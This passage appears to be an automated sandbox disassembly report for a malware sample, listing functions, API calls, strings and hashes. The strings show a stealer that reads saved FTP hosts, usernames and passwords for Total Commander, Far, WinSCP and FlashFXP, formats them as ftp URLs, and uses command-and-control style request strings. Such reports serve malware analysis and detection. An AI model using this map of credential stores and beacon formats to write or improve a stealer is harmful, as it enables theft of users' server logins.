ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403DDF

Strings

&, xrefs: 00403D07
installdir, xrefs: 00403DA1
$, xrefs: 00403CF9
ftpininame, xrefs: 00403C41
SOFTWARE\Ghisler\Total Commander, xrefs: 00403C2F
*ghisler*, xrefs: 00403CD8
#, xrefs: 00403D0E
*totalcmd*, xrefs: 00403CB7
*total*commander*, xrefs: 00403CC9

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocEnvironmentExpandPathPrivateProfileStringStrings$FileFolderFreeOpenRemoveSpec
String ID: #$$$&$*ghisler*$*total*commander*$*totalcmd*$SOFTWARE\Ghisler\Total Commander$ftpininame$installdir
API String ID: 2046068145-3914982127
Opcode ID: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction ID: e3ad36e3959a395177e0e2b587ea9ce0600459653a05a841f57562a17ae86195
Opcode Fuzzy Hash: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction Fuzzy Hash: AF516D72D0010CABDB10DAA1DC85FDF77BCEB44305F1044BBE515F2181EA789B898B65

Function 004027E6 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 355
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004027F5

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Strings

From: true, xrefs: 00402827

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Internet$InitializeOpenOption
String ID: From: true
API String ID: 1176259655-9585188
Opcode ID: 97ee820607911564f81d2c28c98cc723bebeae55605858c30cb2ec0cfeb5fbf8
Instruction ID: 80b93d55993982ee294e6d3758cd093c071ceb3c0ab782597868a4ea0391af47
Opcode Fuzzy Hash: 97ee820607911564f81d2c28c98cc723bebeae55605858c30cb2ec0cfeb5fbf8
Instruction Fuzzy Hash: 89C1E371E00219AFDF20AFA5CD49A9E77B5AB04304F10447BF814B32D2D6B89D41CFA9

Function 00402E3E Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004058FB: _memset.LIBCMT ref: 0040591C

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000), ref: 00402EC3
GetCurrentDirectoryW.KERNEL32(00001000,00420840), ref: 00402EDC
GetLastError.KERNEL32(?), ref: 00402F4E
GetLastError.KERNEL32 ref: 00403237
GetLastError.KERNEL32(?), ref: 00403258

Strings

none, xrefs: 00402F16
Via: , xrefs: 004030ED
file, xrefs: 0040300F
^client=, xrefs: 0040301A
^key=, xrefs: 0040305E
.html, xrefs: 00402FFE, 004031EE
From: , xrefs: 004030C8

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: ErrorLast$CurrentDirectoryFileModuleName_memset
String ID: .html$From: $Via: $^client=$^key=$file$none
API String ID: 2247176544-3749385445
Opcode ID: 9ae992922a2ad1b825f1490aaeac56172bb5fbdf92c9f9a8e97600dc8421b205
Instruction ID: 295a2e83bb6b363340795eecc9968ea2d400926a6410b4e4a91bd94f8c6abde8
Opcode Fuzzy Hash: 9ae992922a2ad1b825f1490aaeac56172bb5fbdf92c9f9a8e97600dc8421b205
Instruction Fuzzy Hash: 01B17E72A001199BCB24EF61CD91AEB77A9EF44304F4040BFF519E7291EA389A858F59

Function 004041E4 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 210registrymemoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00000C0C), ref: 004041FD
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?,00000008), ref: 004042B3
RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00404373
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404419
RegCloseKey.ADVAPI32(?), ref: 0040442A

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

username, xrefs: 00404266
SOFTWARE\Far\Plugins\ftp\hosts, xrefs: 00404219
password, xrefs: 00404282
SOFTWARE\Far2\Plugins\ftp\hosts, xrefs: 0040422A
hostname, xrefs: 00404258
user, xrefs: 00404274
ftp://%s:%s@%s, xrefs: 004043B7

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: HeapOpen$AllocCloseEnumFree
String ID: SOFTWARE\Far2\Plugins\ftp\hosts$SOFTWARE\Far\Plugins\ftp\hosts$ftp://%s:%s@%s$hostname$password$user$username
API String ID: 416369273-4007225339
Opcode ID: 3f2736f1e0ff0c0d04b40902a03d476764a73bdda13cc27d97253e0528d23963
Instruction ID: d928ca8cdb490927e602bcc25cbe761e1e9ca2c88fd961b6a2cac4e28df6e2a2
Opcode Fuzzy Hash: 3f2736f1e0ff0c0d04b40902a03d476764a73bdda13cc27d97253e0528d23963
Instruction Fuzzy Hash: CF717DB2900118ABCB20EB95CD45EEFBBBDEF48314F10457BF615F2181EA349A458B69

Function 0040451B Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 205registrymemoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00000C20,?,00000000,00000008), ref: 00404542
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 004045DA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404605
RegCloseKey.ADVAPI32(?), ref: 0040476D

Strings

username, xrefs: 004045A2
password, xrefs: 004045B0
hostname, xrefs: 00404586
ftp://%s:%s@%s:%u, xrefs: 004046F3
SOFTWARE\martin prikryl\winscp 2\sessions, xrefs: 0040456A
portnumber, xrefs: 00404594

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: AllocCloseEnumHeapOpen
String ID: SOFTWARE\martin prikryl\winscp 2\sessions$ftp://%s:%s@%s:%u$hostname$password$portnumber$username
API String ID: 3497950970-285550827
Opcode ID: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction ID: 619369561540f7679ee4dce6ffb5b1aea82e2176e3673c83278f81db5409ea06
Opcode Fuzzy Hash: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction Fuzzy Hash: AE715DB2900119AFDB10DBD5CD81AEF77BCEB48308F10447AE605F3291EB389E458B68

Function 00409C99 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 127memorynetworkfileCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,hOA,?,00000000,04400000,00000000), ref: 00409CCB
GetProcessHeap.KERNEL32(00000000,00002001,?,?,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF4
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF7
InternetReadFile.WININET(?,?,00001000,?), ref: 00409D6E
GetProcessHeap.KERNEL32(00000000,00000002,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D80
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D83
GetProcessHeap.KERNEL32(00000000,00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE3
HeapFree.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE6

Strings

hOA, xrefs: 00409CC5

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Heap$Process$AllocInternet$FileFreeOpenRead
String ID: hOA
API String ID: 1355009786-3485425990
Opcode ID: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction ID: 638041e7f74e2b46c75c1535d5ef76f15aa532bf5b3977fbb34850ab96fc5943
Opcode Fuzzy Hash: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction Fuzzy Hash: 1B418B71900209FFEB119F65C844BAA7BA9FF44355F14847AF819E6292E778CE80CF54

Function 00409301 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?,?,+@,004089CD,?,?,?), ref: 0040933E
SysFreeString.OLEAUT32(?), ref: 00409359
SysFreeString.OLEAUT32(?), ref: 00409362
SysAllocString.OLEAUT32(?), ref: 004093B8
SysAllocString.OLEAUT32(javascript), ref: 004093C1
SysFreeString.OLEAUT32(00000000), ref: 004093E3
SysFreeString.OLEAUT32(00000000), ref: 004093E6

Strings

javascript, xrefs: 004093BA
http:, xrefs: 00409347
+@, xrefs: 00409301

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: String$Free$Alloc$CharLower
String ID: http:$javascript$+@
API String ID: 1987340527-3375436608
Opcode ID: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction ID: 0b4048b57b081e67726dd44363989906ad2532c65c6ed0c60c908aefe346602b
Opcode Fuzzy Hash: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction Fuzzy Hash: 6A310A71A00119AFDB04DFA6C889EAEB7B8EF48314B144469E805EB291D775AD41CF64

Function 00407036 Relevance: 16.6, APIs: 11, Instructions: 97filenetworkCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,771B0F00), ref: 00407043
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000004,00000080,00000000), ref: 0040705D
GetLastError.KERNEL32(00000000), ref: 00407079
SetEndOfFile.KERNEL32(00000000), ref: 0040708F
InternetOpenUrlW.WININET(00000000,00000001,00000000,80000000,00000000,00000000), ref: 004070A9
CloseHandle.KERNEL32(00000000), ref: 004070BB

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleInternetLastOpen
String ID:
API String ID: 3711279109-0
Opcode ID: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction ID: 9d8a11a16b3c0a9aa44c9dcc38c8aa686dfb91ece0f3f59227d733df7bad94bb
Opcode Fuzzy Hash: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction Fuzzy Hash: 48313471800119EFEB119FA1DE85AEE7BBDFB04344F104872F652B61A0D731AE21DB66

Function 00406E69 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 130COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00406E78

Strings

0, xrefs: 00406EF5
Via: , xrefs: 00406FAF
Page generated at: , xrefs: 00407000
^nocrypt, xrefs: 00406F5C
^key=, xrefs: 00406F2E
hOA, xrefs: 00406E7E
.html, xrefs: 00406F14
From: , xrefs: 00406F8E

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CountTick
String ID: .html$0$From: $Page generated at: $Via: $^key=$^nocrypt$hOA
API String ID: 536389180-697497794
Opcode ID: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction ID: 73e0daeea7a9f5f4b783dd0519eebdf5205f1bdf48cad4214514e0173d2ce6b9
Opcode Fuzzy Hash: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction Fuzzy Hash: 27416131A0161997CB25EBA2DC51BDE7369FF44308F0044BFB909B71C1EA78AE948F59

Function 00405229 Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710), ref: 00405366
Sleep.KERNEL32(00009C40), ref: 00405383
Sleep.KERNEL32(00004E20), ref: 004053D0

Strings

CsM, xrefs: 004053B2
hOA, xrefs: 00405305
Via: , xrefs: 0040533C
ftp, xrefs: 004052C5
^key=, xrefs: 004052D0
.html, xrefs: 004052B4
From: , xrefs: 00405318

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Sleep
String ID: .html$CsM$From: $Via: $^key=$ftp$hOA
API String ID: 3472027048-2333287219
Opcode ID: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction ID: 3376cbd9a830c5581772f61034da1910d267ee329a165acd0f4726bddbbbde03
Opcode Fuzzy Hash: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction Fuzzy Hash: 4E419431A0091887CB24E7A29D529EF73A9EF40318F54407FE905B71D1EA7C9E898F5D

Function 00408CB7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 239COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(00000016), ref: 00408E7A

Strings

+@, xrefs: 00408CB7
_self, xrefs: 00408ED5
http, xrefs: 00408E1A

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: ClearVariant
String ID: _self$http$+@
API String ID: 1473721057-3317424838
Opcode ID: 318762bed40dfdc809c59a68404d151adbfac834f26e4a68fdc08c116542e79f
Instruction ID: ae9540e34d1dd6ebd4224328a85202065bb39baa52f6123ff81f2465f468f74f
Opcode Fuzzy Hash: 318762bed40dfdc809c59a68404d151adbfac834f26e4a68fdc08c116542e79f
Instruction Fuzzy Hash: 6C913D75A00209EFDB00DFA5C988DAEB7B9FF88305B144569E845FB290DB359D41CFA4

Function 00406ADF Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182,?,0040B320,00000000), ref: 00406B8C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406C17

Strings

CLSID, xrefs: 00406B3B, 00406B40, 00406B9D, 00406BB5, 00406C28, 00406C40
SOFTWARE\Classes\MIME\Database\Content Type\, xrefs: 00406AF6, 00406B5D, 00406BE8
application/x-javascript, xrefs: 00406B68
text/html, xrefs: 00406B01
text/javascript, xrefs: 00406BF3

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: CLSID$SOFTWARE\Classes\MIME\Database\Content Type\$application/x-javascript$text/html$text/javascript
API String ID: 3546245721-1332223170
Opcode ID: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction ID: b356448af2dda310db5a41c348b39e69e2b2ee30590ea213815e442ef4722270
Opcode Fuzzy Hash: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction Fuzzy Hash: 0A4142B2650118AAEB10D6519E81BEB73FCEB44309F1144BBE705F2080FB789F598F69

Function 0040A156 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(eventConn), ref: 0040A18D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0040A1D4
SetParent.USER32(00000000,00000000), ref: 0040A1E2
GetWindowLongW.USER32(00000000,000000EC), ref: 0040A1ED
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 0040A1FE
SetWindowPos.USER32(00000000,00000001,00001388,00001388,00000010,?,00000000), ref: 0040A21E

Part of subcall function 0040A0B5: CoInitialize.OLE32(00000000), ref: 0040A0C0
Part of subcall function 0040A0B5: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
Part of subcall function 0040A0B5: CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell_TrayWnd, xrefs: 0040A1CF
eventConn, xrefs: 0040A188

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Window$Long$AllocCreateFindHandleInitializeModuleParentString
String ID: Shell_TrayWnd$eventConn
API String ID: 2141107913-3455059086
Opcode ID: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction ID: 39c15930e577ecb7297998fc23ff8408fdcdb7101606cb16b0d9d8475b405f16
Opcode Fuzzy Hash: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction Fuzzy Hash: 05216834900214EFDB10AFA4CD89FAB7BB9EF0A311F2046B5F901EA2A1C7755D54CB96

Function 004047CC Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

HeapAlloc.KERNEL32(00000008,00000626), ref: 00404888
StrStrIA.SHLWAPI(?,?), ref: 00404913
StrStrIA.SHLWAPI(?,?), ref: 00404925
StrStrIA.SHLWAPI(?,?), ref: 00404935
StrStrIA.SHLWAPI(?,?), ref: 00404947

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Strings

ftplist.txt, xrefs: 00404805
ftp://%S:%S@%S:%u, xrefs: 004049F6

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$AllocCloseCombineFirstHeapMatchNextObjectSingleSleepSpecWait
String ID: ftp://%S:%S@%S:%u$ftplist.txt
API String ID: 1635188419-1322549247
Opcode ID: a8df2d7964cb9d5e44167d75c5d9d1604856ea1b31e7d0b3f7357b398df4251d
Instruction ID: 36c1d9bdffb8f00438c4566312b7f03f9c346fdcff82922ab75e5f9c351e1c12
Opcode Fuzzy Hash: a8df2d7964cb9d5e44167d75c5d9d1604856ea1b31e7d0b3f7357b398df4251d
Instruction Fuzzy Hash: 3581B0B15043819FD721EF29C840A6BBBE5AFC9304F14497EFA84A32D1E738D945CB5A

Function 00407362 Relevance: 13.6, APIs: 9, Instructions: 114timesynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00407374
GetLocalTime.KERNEL32(?), ref: 00407387
GetLocalTime.KERNEL32(?), ref: 0040738D
GetTimeZoneInformation.KERNEL32(?), ref: 004073C2
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407412
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040741C
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00989680,00000000), ref: 0040747A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00989680,00000000), ref: 00407485
CloseHandle.KERNEL32(?,?,?,00989680,00000000), ref: 0040748E

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystemTimerWaitable$CloseCreateHandleInformationObjectSingleWaitZone
String ID:
API String ID: 3166187867-0
Opcode ID: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction ID: 26b14636c49f8a61fb06fac8b942a3fa68f3078aba47330515a101c34858e503
Opcode Fuzzy Hash: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction Fuzzy Hash: 8B316FB2D1022DAACF04EBE5DD459EEB7BDEF44304F10406AF901B3290E7746A04DB69

Function 004089FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

http, xrefs: 00408B59
+@, xrefs: 004089FD

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID:
String ID: http$+@
API String ID: 0-4127549746
Opcode ID: f0dce942b3145dcad46720e365100d861664f6bcad1e9537a21da11c1cc3beb0
Instruction ID: 8803294073e7eabf7739078d3f203694aecc40311bc63510a67c123621be67c8
Opcode Fuzzy Hash: f0dce942b3145dcad46720e365100d861664f6bcad1e9537a21da11c1cc3beb0
Instruction Fuzzy Hash: 5CA17DB1A00519DFDF00DFA5C984AAEB7B5FF89305B14486AE845FB290DB34AD41CFA4

Function 00403740 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004037AD
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00403804

Strings

*flashfxp*, xrefs: 004037CE
#, xrefs: 004037DC
SOFTWARE\FlashFXP\3, xrefs: 0040375E
datafolder, xrefs: 0040376D
&, xrefs: 004037EA

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: EnvironmentExpandFolderOpenPathStrings
String ID: #$&$*flashfxp*$SOFTWARE\FlashFXP\3$datafolder
API String ID: 1994525040-4055253781
Opcode ID: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction ID: b84aa35a929ccb2802933dbb7828156d7819aaa5c632eb2dc8c8e19af11b7673
Opcode Fuzzy Hash: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction Fuzzy Hash: 203130B2900118AADB10EAA5DC85DDF7BBCEB44718F10847BF605F3180EA399B458B69

Function 00409909 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004099EB
SysAllocString.OLEAUT32(?), ref: 004099F9

Strings

</url>, xrefs: 00409917
<domain>, xrefs: 004099BD
<url>, xrefs: 0040991C
</domain>, xrefs: 004099B8
http://, xrefs: 00409941

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </domain>$</url>$<domain>$<url>$http://
API String ID: 2525500382-924421446
Opcode ID: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction ID: c36137c4092f7a01c2c9ac5e3109157182881aca1e17db191de13133e2ad13bf
Opcode Fuzzy Hash: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction Fuzzy Hash: D521D876600218A6DB61AB59CC41BDB33E4FB44794F14407FE508B32C2EB785E4D4F99

Function 00408F26 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(75C0F6A0), ref: 00408F82
SysFreeString.OLEAUT32(0000000B), ref: 00409046

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction ID: f0e6d8e47a3946ab2c5de92fa7688d846ddd73d58da4f3d2da06902102303575
Opcode Fuzzy Hash: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction Fuzzy Hash: A0616C70A0020AEFDB10DFA9DA845AEBBB2FB48304F2048BAD545F7251D7795E52DF08

Function 0040AC93 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,00000000,00000400,00000000), ref: 0040ACAE
Sleep.KERNEL32(0000EA60), ref: 0040AD76
Sleep.KERNEL32(00002710), ref: 0040ADA4

Strings

d, xrefs: 0040ADB6
hOA, xrefs: 0040ACC0
job^rev=%s^os=%s, xrefs: 0040ACDB
^rcn=1, xrefs: 0040AD37
0, xrefs: 0040AD12

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$AttemptConnectInternet
String ID: 0$^rcn=1$d$hOA$job^rev=%s^os=%s
API String ID: 362191241-2593661552
Opcode ID: e876ecf8844ea65909d5912cf1b13aa36029654f48e96db610e819274c2e0ff8
Instruction ID: b79182b1151443badf469ae5f9ae195c128285790c89deda34db11c37ea10ffc
Opcode Fuzzy Hash: e876ecf8844ea65909d5912cf1b13aa36029654f48e96db610e819274c2e0ff8
Instruction Fuzzy Hash: 0531C471D00208ABCF20ABA6DC859AE77BAEF80309F10847BE505B72C1DA7849558B5B

Function 0040D790 Relevance: 10.8, APIs: 7, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 0040D892
__FindPESection.LIBCMT ref: 0040D8AC

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: dad01fb9bdadffb69ef4f48bfe6dd386f460ef773ad6b00c79be1d47ae49c001
Instruction ID: 4070355c3de93ac57746f54d9fb9ba92a54bad1974282013f33c457a7dad05b0
Opcode Fuzzy Hash: dad01fb9bdadffb69ef4f48bfe6dd386f460ef773ad6b00c79be1d47ae49c001
